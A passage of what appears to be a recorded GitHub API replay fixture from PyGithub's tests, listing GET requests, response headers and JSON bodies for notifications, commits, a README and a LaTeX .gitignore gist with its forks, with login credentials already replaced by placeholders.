schmidt-fu/PyGithub/languages","stargazers_url":"https://api.github.com/repos/schmidt-fu/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/schmidt-fu/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/schmidt-fu/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/schmidt-fu/PyGithub/subscription","commits_url":"https://api.github.com/repos/schmidt-fu/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/schmidt-fu/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/schmidt-fu/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/schmidt-fu/PyGithub/issues/comments/{number}","contents_url":"https://api.github.com/repos/schmidt-fu/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/schmidt-fu/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/schmidt-fu/PyGithub/merges","archive_url":"https://api.github.com/repos/schmidt-fu/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/schmidt-fu/PyGithub/downloads","issues_url":"https://api.github.com/repos/schmidt-fu/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/schmidt-fu/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/schmidt-fu/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/schmidt-fu/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/schmidt-fu/PyGithub/labels{/name}","created_at":"2013-09-01T09:51:50Z","updated_at":"2013-09-01T09:51:50Z","pushed_at":"2013-08-23T17:06:48Z","git_url":"git://github.com/schmidt-fu/PyGithub.git","ssh_url":"git@github.com:schmidt-fu/PyGithub.git","clone_url":"https://github.com/schmidt-fu/PyGithub.git","svn_url":"https://github.com/schmidt-fu/PyGithub","homepage":"http://jacquev6.github.com/PyGithub","size":7642,"watchers_count":0,"language":"Python","has_issues":false,"has_downloads":true,"has_wiki":true,"forks_count":0,"mirror_url":null,"open_issues_count":0,"forks":0,"open_issues":0,"watchers":0,"master_branch":"master","default_branch":"master","public":true}},"public":true,"created_at":"2013-09-01T09:51:50Z"}] https GET api.github.com None /notifications/threads/8406712 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4867'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '30848a7f-7351-4751-af8c-3b0a85f5bb7e'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '4203'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"848b2905eeb475bca3c72fe17bedcc0c"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:00 GMT'), ('access-control-allow-origin', '*'), ('x-poll-interval', '60'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"id":"8406712","unread":null,"reason":"subscribed","updated_at":"2013-03-15T05:43:11Z","last_read_at":null,"subject":{"title":"Feature/coveralls","url":"https://api.github.com/repos/ZIMK/fwadmin/pulls/21","latest_comment_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/comments/14944813","type":"PullRequest"},"repository":{"id":8432784,"name":"fwadmin","full_name":"ZIMK/fwadmin","owner":{"login":"ZIMK","id":1187008,"avatar_url":"https://1.gravatar.com/avatar/ce407a684dac7cf642606501244dd9f0?d=https%3A%2F%2Fidenticons.github.com%2Fa8b50d6bf21d85e47ce11e1d23087af2.png","gravatar_id":"ce407a684dac7cf642606501244dd9f0","url":"https://api.github.com/users/ZIMK","html_url":"https://github.com/ZIMK","followers_url":"https://api.github.com/users/ZIMK/followers","following_url":"https://api.github.com/users/ZIMK/following{/other_user}","gists_url":"https://api.github.com/users/ZIMK/gists{/gist_id}","starred_url":"https://api.github.com/users/ZIMK/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ZIMK/subscriptions","organizations_url":"https://api.github.com/users/ZIMK/orgs","repos_url":"https://api.github.com/users/ZIMK/repos","events_url":"https://api.github.com/users/ZIMK/events{/privacy}","received_events_url":"https://api.github.com/users/ZIMK/received_events","type":"Organization"},"private":false,"html_url":"https://github.com/ZIMK/fwadmin","description":"Django based self-service firewall config tool","fork":true,"url":"https://api.github.com/repos/ZIMK/fwadmin","forks_url":"https://api.github.com/repos/ZIMK/fwadmin/forks","keys_url":"https://api.github.com/repos/ZIMK/fwadmin/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ZIMK/fwadmin/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ZIMK/fwadmin/teams","hooks_url":"https://api.github.com/repos/ZIMK/fwadmin/hooks","issue_events_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/events{/number}","events_url":"https://api.github.com/repos/ZIMK/fwadmin/events","assignees_url":"https://api.github.com/repos/ZIMK/fwadmin/assignees{/user}","branches_url":"https://api.github.com/repos/ZIMK/fwadmin/branches{/branch}","tags_url":"https://api.github.com/repos/ZIMK/fwadmin/tags","blobs_url":"https://api.github.com/repos/ZIMK/fwadmin/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ZIMK/fwadmin/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ZIMK/fwadmin/git/refs{/sha}","trees_url":"https://api.github.com/repos/ZIMK/fwadmin/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ZIMK/fwadmin/statuses/{sha}","languages_url":"https://api.github.com/repos/ZIMK/fwadmin/languages","stargazers_url":"https://api.github.com/repos/ZIMK/fwadmin/stargazers","contributors_url":"https://api.github.com/repos/ZIMK/fwadmin/contributors","subscribers_url":"https://api.github.com/repos/ZIMK/fwadmin/subscribers","subscription_url":"https://api.github.com/repos/ZIMK/fwadmin/subscription","commits_url":"https://api.github.com/repos/ZIMK/fwadmin/commits{/sha}","git_commits_url":"https://api.github.com/repos/ZIMK/fwadmin/git/commits{/sha}","comments_url":"https://api.github.com/repos/ZIMK/fwadmin/comments{/number}","issue_comment_url":"https://api.github.com/repos/ZIMK/fwadmin/issues/comments/{number}","contents_url":"https://api.github.com/repos/ZIMK/fwadmin/contents/{+path}","compare_url":"https://api.github.com/repos/ZIMK/fwadmin/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ZIMK/fwadmin/merges","archive_url":"https://api.github.com/repos/ZIMK/fwadmin/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ZIMK/fwadmin/downloads","issues_url":"https://api.github.com/repos/ZIMK/fwadmin/issues{/number}","pulls_url":"https://api.github.com/repos/ZIMK/fwadmin/pulls{/number}","milestones_url":"https://api.github.com/repos/ZIMK/fwadmin/milestones{/number}","notifications_url":"https://api.github.com/repos/ZIMK/fwadmin/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ZIMK/fwadmin/labels{/name}"},"url":"https://api.github.com/notifications/threads/8406712","subscription_url":"https://api.github.com/notifications/threads/8406712/subscription"} https GET api.github.com None /users/jacquev6 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'f88ab8d2-9b5a-4283-8001-fdd72ca23ee2'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:00 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/commits/1292bf0e22c796e91cc3d6e24b544aece8c21f2a {'If-None-Match': '"91582e2dc24ad5461e61062c01b32969"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Wed, 09 May 2012 16:22:33 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '74293a9e-2207-4848-903c-69d3b04efebe'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 09 May 2012 16:22:33 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"91582e2dc24ad5461e61062c01b32969"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:01 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/comments/3630301 {'If-None-Match': '"654d1a29abe3a61b096e8bffbc61c162"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 12:51:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '31f93d19-354a-448b-ac36-9c674814c063'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 12:51:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"654d1a29abe3a61b096e8bffbc61c162"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:02 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/compare/master...develop {'If-None-Match': '"ff2ab76c56b865233dfb98f5804276b6"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 09:04:41 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'bed81d6d-586b-453e-bf17-3db9b2abe473'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 09:04:41 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"ff2ab76c56b865233dfb98f5804276b6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:03 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /repos/jacquev6/PyGithub/contents/README.rst?ref=master {'If-None-Match': '"bbffa70478199a10902bf5da76db3481"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Wed, 21 Aug 2013 16:39:22 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'c3ab101c-0643-4405-8dde-d9738631a6d1'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 21 Aug 2013 16:39:22 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"bbffa70478199a10902bf5da76db3481"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:04 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /gists/149016 {'If-None-Match': '"1aaa6053c05e25abbc1703b90bd409b9"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 13:04:59 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', 'acf3d7f7-920c-4e6c-9e9f-8c619691fd70'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Fri, 06 Sep 2013 13:04:59 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"1aaa6053c05e25abbc1703b90bd409b9"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:05 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /gists/149016/comments/4565 {'If-None-Match': '"923dd32a449cce56dae93d3438b9451a"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Thu, 29 Aug 2013 01:07:03 GMT'} None 304 [('status', '304 Not Modified'), ('x-ratelimit-remaining', '4867'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '76905633-de04-422b-83f6-9f8dde705b0f'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('server', 'GitHub.com'), ('last-modified', 'Thu, 29 Aug 2013 01:07:03 GMT'), ('x-ratelimit-limit', '5000'), ('etag', '"923dd32a449cce56dae93d3438b9451a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:06 GMT'), ('access-control-allow-origin', '*'), ('x-ratelimit-reset', '1378482241')] https GET api.github.com None /gists/149016/3e0e8350f040f21811ceea13975086158ccae986 {'If-None-Match': '"1aaa6053c05e25abbc1703b90bd409b9"', 'User-Agent': 'PyGithub/Python', 'Authorization': 'Basic login_and_password_removed', 'If-Modified-Since': 'Fri, 06 Sep 2013 13:04:59 GMT'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4866'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('x-github-request-id', '704fb785-3c6d-4f9f-9c14-91f368156bb0'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '32105'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"ad4288b80b5ef38fdd8599ec34f610f7"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Fri, 06 Sep 2013 15:06:09 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1378482241')] {"url":"https://api.github.com/gists/149016","forks_url":"https://api.github.com/gists/149016/forks","commits_url":"https://api.github.com/gists/149016/commits","id":"149016","git_pull_url":"https://gist.github.com/149016.git","git_push_url":"https://gist.github.com/149016.git","html_url":"https://gist.github.com/149016","files":{".gitignore":{"filename":".gitignore","type":"text/plain","language":null,"raw_url":"https://gist.github.com/raw/149016/e056704ebab0fbcd7bf937169b4057d378d09cf8/.gitignore","size":145,"content":"*.aux\n*.glo\n*.idx\n*.log\n*.toc\n*.ist\n*.acn\n*.acr\n*.alg\n*.bbl\n*.blg\n*.dvi\n*.glg\n*.gls\n*.ilg\n*.ind\n*.lof\n*.lot\n*.maf\n*.mtc\n*.mtc1\n*.out\n*.synctex.gz"}},"public":true,"created_at":"2009-07-17T11:37:42Z","updated_at":"2013-09-06T13:04:59Z","description":"Git: .gitignore file for LaTeX projects","comments":18,"user":{"login":"kogakure","id":5535,"avatar_url":"https://0.gravatar.com/avatar/b53f98d49e275e8387897de02c92288d?d=https%3A%2F%2Fidenticons.github.com%2F7ec69dd44416c46745f6edd947b470cd.png","gravatar_id":"b53f98d49e275e8387897de02c92288d","url":"https://api.github.com/users/kogakure","html_url":"https://github.com/kogakure","followers_url":"https://api.github.com/users/kogakure/followers","following_url":"https://api.github.com/users/kogakure/following{/other_user}","gists_url":"https://api.github.com/users/kogakure/gists{/gist_id}","starred_url":"https://api.github.com/users/kogakure/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kogakure/subscriptions","organizations_url":"https://api.github.com/users/kogakure/orgs","repos_url":"https://api.github.com/users/kogakure/repos","events_url":"https://api.github.com/users/kogakure/events{/privacy}","received_events_url":"https://api.github.com/users/kogakure/received_events","type":"User"},"comments_url":"https://api.github.com/gists/149016/comments","forks":[{"url":"https://api.github.com/gists/452042","user":{"login":"cflewis","id":43708,"avatar_url":"https://2.gravatar.com/avatar/5f986018993d9f078927fe29ee912cf2?d=https%3A%2F%2Fidenticons.github.com%2F287915711d06ce6d90e2c18e1d89d3a6.png","gravatar_id":"5f986018993d9f078927fe29ee912cf2","url":"https://api.github.com/users/cflewis","html_url":"https://github.com/cflewis","followers_url":"https://api.github.com/users/cflewis/followers","following_url":"https://api.github.com/users/cflewis/following{/other_user}","gists_url":"https://api.github.com/users/cflewis/gists{/gist_id}","starred_url":"https://api.github.com/users/cflewis/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/cflewis/subscriptions","organizations_url":"https://api.github.com/users/cflewis/orgs","repos_url":"https://api.github.com/users/cflewis/repos","events_url":"https://api.github.com/users/cflewis/events{/privacy}","received_events_url":"https://api.github.com/users/cflewis/received_events","type":"User"},"id":"452042","created_at":"2010-06-24T21:51:00Z","updated_at":"2010-06-24T21:51:25Z"},{"url":"https://api.github.com/gists/871983","user":{"login":"rbochet","id":56806,"avatar_url":"https://2.gravatar.com/avatar/54925726f7c3a2b76028718eddb8522a?d=https%3A%2F%2Fidenticons.github.com%2F8818556ce6ba4bc9302dca9ec1979591.png","gravatar_id":"54925726f7c3a2b76028718eddb8522a","url":"https://api.github.com/users/rbochet","html_url":"https://github.com/rbochet","followers_url":"https://api.github.com/users/rbochet/followers","following_url":"https://api.github.com/users/rbochet/following{/other_user}","gists_url":"https://api.github.com/users/rbochet/gists{/gist_id}","starred_url":"https://api.github.com/users/rbochet/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/rbochet/subscriptions","organizations_url":"https://api.github.com/users/rbochet/orgs","repos_url":"https://api.github.com/users/rbochet/repos","events_url":"https://api.github.com/users/rbochet/events{/privacy}","received_events_url":"https://api.github.com/users/rbochet/received_events","type":"User"},"id":"871983","created_at":"2011-03-16T03:48:24Z","updated_at":"2013-08-16T00:46:15Z"},{"url":"https://api.github.com/gists/980414","user":{"login":"j10","id":250070,"avatar_url":"https://0.gravatar.com/avatar/7eb0a4d397a695f7fd15069a4f24ad44?d=https%3A%2F%2Fidenticons.github.com%2F6019c728e12af5d048c3d2decb9800cd.png","gravatar_id":"7eb0a4d397a695f7fd15069a4f24ad44","url":"https://api.github.com/users/j10","html_url":"https://github.com/j10","followers_url":"https://api.github.com/users/j10/followers","following_url":"https://api.github.com/users/j10/following{/other_user}","gists_url":"https://api.github.com/users/j10/gists{/gist_id}","starred_url":"https://api.github.com/users/j10/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/j10/subscriptions","organizations_url":"https://api.github.com/users/j10/orgs","repos_url":"https://api.github.com/users/j10/repos","events_url":"https://api.github.com/users/j10/events{/privacy}","received_events_url":"https://api.github.com/users/j10/received_events","type":"User"},"id":"980414","created_at":"2011-05-19T08:43:14Z","updated_at":"2011-05-19T08:43:20Z"},{"url":"https://api.github.com/gists/1404741","user":{"login":"Vaguery","id":81171,"avatar_url":"https://0.gravatar.com/avatar/db04d40ecceb0a4c0683a60462d11794?d=https%3A%2F%2Fidenticons.github.com%2Fc3ea21d464d21b7bf62431791ec01b78.png","gravatar_id":"db04d40ecceb0a4c0683a60462d11794","url":"https://api.github.com/users/Vaguery","html_url":"https://github.com/Vaguery","followers_url":"https://api.github.com/users/Vaguery/followers","following_url":"https://api.github.com/users/Vaguery/following{/other_user}","gists_url":"https://api.github.com/users/Vaguery/gists{/gist_id}","starred_url":"https://api.github.com/users/Vaguery/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Vaguery/subscriptions","organizations_url":"https://api.github.com/users/Vaguery/orgs","repos_url":"https://api.github.com/users/Vaguery/repos","events_url":"https://api.github.com/users/Vaguery/events{/privacy}","received_events_url":"https://api.github.com/users/Vaguery/received_events","type":"User"},"id":"1404741","created_at":"2011-11-29T13:05:35Z","updated_at":"2011-11-29T13:05:35Z"},{"url":"https://api.github.com/gists/1422904","user":{"login":"phieber","id":1208351,"avatar_url":"https://1.gravatar.com/avatar/e2f846ae903d79fa8750763d0809cab5?d=https%3A%2F%2Fidenticons.github.com%2F09c10f8d5454910d48c67ff6081e8601.png","gravatar_id":"e2f846ae903d79fa8750763d0809cab5","url":"https://api.github.com/users/phieber","html_url":"https://github.com/phieber","followers_url":"https://api.github.com/users/phieber/followers","following_url":"https://api.github.com/users/phieber/following{/other_user}","gists_url":"https://api.github.com/users/phieber/gists{/gist_id}","starred_url":"https://api.github.com/users/phieber/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/phieber/subscriptions","organizations_url":"https://api.github.com/users/phieber/orgs","repos_url":"https://api.github.com/users/phieber/repos","events_url":"https://api.github.com/users/phieber/events{/privacy}","received_events_url":"https://api.github.com/users/phieber/received_events","type":"User"},"id":"1422904","created_at":"2011-12-02T11:25:46Z","updated_at":"2011-12-02T11:25:46Z"},{"url":"https://api.github.com/gists/1585783","user":{"login":"pbroschwitz","id":92129,"avatar_url":"https://1.gravatar.com/avatar/68e33f71f778ec322d68ca15ef2a7315?d=https%3A%2F%2Fidenticons.github.com%2F8417990ede5b8e7dc3295d4dd63e4062.png","gravatar_id":"68e33f71f778ec322d68ca15ef2a7315","url":"https://api.github.com/users/pbroschwitz","html_url":"https://github.com/pbroschwitz","followers_url":"https://api.github.com/users/pbroschwitz/followers","following_url":"https://api.github.com/users/pbroschwitz/following{/other_user}","gists_url":"https://api.github.com/users/pbroschwitz/gists{/gist_id}","starred_url":"https://api.github.com/users/pbroschwitz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pbroschwitz/subscriptions","organizations_url":"https://api.github.com/users/pbroschwitz/orgs","repos_url":"https://api.github.com/users/pbroschwitz/repos","events_url":"https://api.github.com/users/pbroschwitz/events{/privacy}","received_events_url":"https://api.github.com/users/pbroschwitz/received_events","type":"User"},"id":"1585783","created_at":"2012-01-09T23:59:07Z","updated_at":"2012-02-20T11:18:52Z"},{"url":"https://api.github.com/gists/2549120","user":{"login":"gaving","id":43741,"avatar_url":"https://2.gravatar.com/avatar/839485ec6b0111d4ccc69646789d6728?d=https%3A%2F%2Fidenticons.github.com%2F781870bb5979fcc948dcc48da5fb798a.png","gravatar_id":"839485ec6b0111d4ccc69646789d6728","url":"https://api.github.com/users/gaving","html_url":"https://github.com/gaving","followers_url":"https://api.github.com/users/gaving/followers","following_url":"https://api.github.com/users/gaving/following{/other_user}","gists_url":"https://api.github.com/users/gaving/gists{/gist_id}","starred_url":"https://api.github.com/users/gaving/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gaving/subscriptions","organizations_url":"https://api.github.com/users/gaving/orgs","repos_url":"https://api.github.com/users/gaving/repos","events_url":"https://api.github.com/users/gaving/events{/privacy}","received_events_url":"https://api.github.com/users/gaving/received_events","type":"User"},"id":"2549120","created_at":"2012-04-29T09:57:32Z","updated_at":"2012-04-29T09:57:32Z"},{"url":"https://api.github.com/gists/2549928","user":{"login":"pbelmans","id":700126,"avatar_url":"https://2.gravatar.com/avatar/bf4c56431003682b725b72668e7de35f?d=https%3A%2F%2Fidenticons.github.com%2Fb6e0db3b4d374eb7e8d52b9f271f4822.png","gravatar_id":"bf4c56431003682b725b72668e7de35f","url":"https://api.github.com/users/pbelmans","html_url":"https://github.com/pbelmans","followers_url":"https://api.github.com/users/pbelmans/followers","following_url":"https://api.github.com/users/pbelmans/following{/other_user}","gists_url":"https://api.github.com/users/pbelmans/gists{/gist_id}","starred_url":"https://api.github.com/users/pbelmans/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/pbelmans/subscriptions","organizations_url":"https://api.github.com/users/pbelmans/orgs","repos_url":"https://api.github.com/users/pbelmans/repos","events_url":"https://api.github.com/users/pbelmans/events{/privacy}","received_events_url":"https://api.github.com/users/pbelmans/received_events","type":"User"},"id":"2549928","created_at":"2012-04-29T12:07:11Z","updated_at":"2012-05-14T11:08:39Z"},{"url":"https://api.github.com/gists/3061207","user":{"login":"robEllenberg","id":1210940,"avatar_url":"https://1.gravatar.com/avatar/cee0a0313cb89262ccaf408cf42eeae8?d=https%3A%2F%2Fidenticons.github.com%2Fb927fc8b72fac9a5b05e8afd1545e069.png","gravatar_id":"cee0a0313cb89262ccaf408cf42eeae8","url":"https://api.github.com/users/robEllenberg","html_url":"https://github.com/robEllenberg","followers_url":"https://api.github.com/users/robEllenberg/followers","following_url":"https://api.github.com/users/robEllenberg/following{/other_user}","gists_url":"https://api.github.com/users/robEllenberg/gists{/gist_id}","starred_url":"https://api.github.com/users/robEllenberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/robEllenberg/subscriptions","organizations_url":"https://api.github.com/users/robEllenberg/orgs","repos_url":"https://api.github.com/users/robEllenberg/repos","events_url":"https://api.github.com/users/robEllenberg/events{/privacy}","received_events_url":"https://api.github.com/users/robEllenberg/received_events","type":"User"},"id":"3061207","created_at":"2012-07-06T16:34:35Z","updated_at":"2012-07-06T16:34:35Z"},{"url":"https://api.github.com/gists/3073850","user":{"login":"naught101","id":167164,"avatar_url":"https://2.gravatar.com/avatar/20cb8dcc17ad4334c0f8cb1ddc28bcd0?d=https%3A%2F%2Fidenticons.github.com%2F16a0a5f3381b862da55875130a94ad3f.png","gravatar_id":"20cb8dcc17ad4334c0f8cb1ddc28bcd0","url":"https://api.github.com/users/naught101","html_url":"https://github.com/naught101","followers_url":"https://api.github.com/users/naught101/followers","following_url":"https://api.github.com/users/naught101/following{/other_user}","gists_url":"https://api.github.com/users/naught101/gists{/gist_id}","starred_url":"https://api.github.com/users/naught101/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/naught101/subscriptions","organizations_url":"https://api.github.com/users/naught101/orgs","repos_url":"https://api.github.com/users/naught101/repos","events_url":"https://api.github.com/users/naught101/events{/privacy}","received_events_url":"https://api.github.com/users/naught101/received_events","type":"User"},"id":"3073850","created_at":"2012-07-09T02:17:21Z","updated_at":"2012-07-09T02:17:21Z"},{"url":"https://api.github.com/gists/3683565","user":{"login":"TKAB","id":66597,"avatar_url":"https://1.gravatar.com/avatar/7a66c8124726c66cf9901d7e09f4f3cb?d=https%3A%2F%2Fidenticons.github.com%2F4bec99ec5bd39630575692948d9e8169.png","gravatar_id":"7a66c8124726c66cf9901d7e09f4f3cb","url":"https://api.github.com/users/TKAB","html_url":"https://github.com/TKAB","followers_url":"https://api.github.com/users/TKAB/followers","following_url":"https://api.github.com/users/TKAB/following{/other_user}","gists_url":"https://api.github.com/users/TKAB/gists{/gist_id}","starred_url":"https://api.github.com/users/TKAB/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/TKAB/subscriptions","organizations_url":"https://api.github.com/users/TKAB/orgs","repos_url":"https://api.github.com/users/TKAB/repos","events_url":"https://api.github.com/users/TKAB/events{/privacy}","received_events_url":"https://api.github.com/users/TKAB/received_events","type":"User"},"id":"3683565","created_at":"2012-09-09T09:58:43Z","updated_at":"2012-09-09T09:58:43Z"},{"url":"https://api.github.com/gists/3802139","user":{"login":"linchen04","id":1383767,"avatar_url":"https://1.gravatar.com/avatar/4380e7c4928005fc0eaf9772e1fe64b7?d=https%3A%2F%2Fidenticons.github.com%2F39a2a9b3f884c9a2e97ce61cb56e02fd.png","gravatar_id":"4380e7c4928005fc0eaf9772e1fe64b7","url":"https://api.github.com/users/linchen04","html_url":"https://github.com/linchen04","followers_url":"https://api.github.com/users/linchen04/followers","following_url":"https://api.github.com/users/linchen04/following{/other_user}","gists_url":"https://api.github.com/users/linchen04/gists{/gist_id}","starred_url":"https://api.github.com/users/linchen04/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/linchen04/subscriptions","organizations_url":"https://api.github.com/users/linchen04/orgs","repos_url":"https://api.github.com/users/linchen04/repos","events_url":"https://api.github.com/users/linchen04/events{/privacy}","received_events_url":"https://api.github.com/users/linchen04/received_events","type":"User"},"id":"3802139","created_at":"2012-09-28T21:20:16Z","updated_at":"2012-09-28T21:20:16Z"},{"url":"https://api.github.com/gists/3958094","user":{"login":"macalicious","id":717205,"avatar_url":"https://2.gravatar.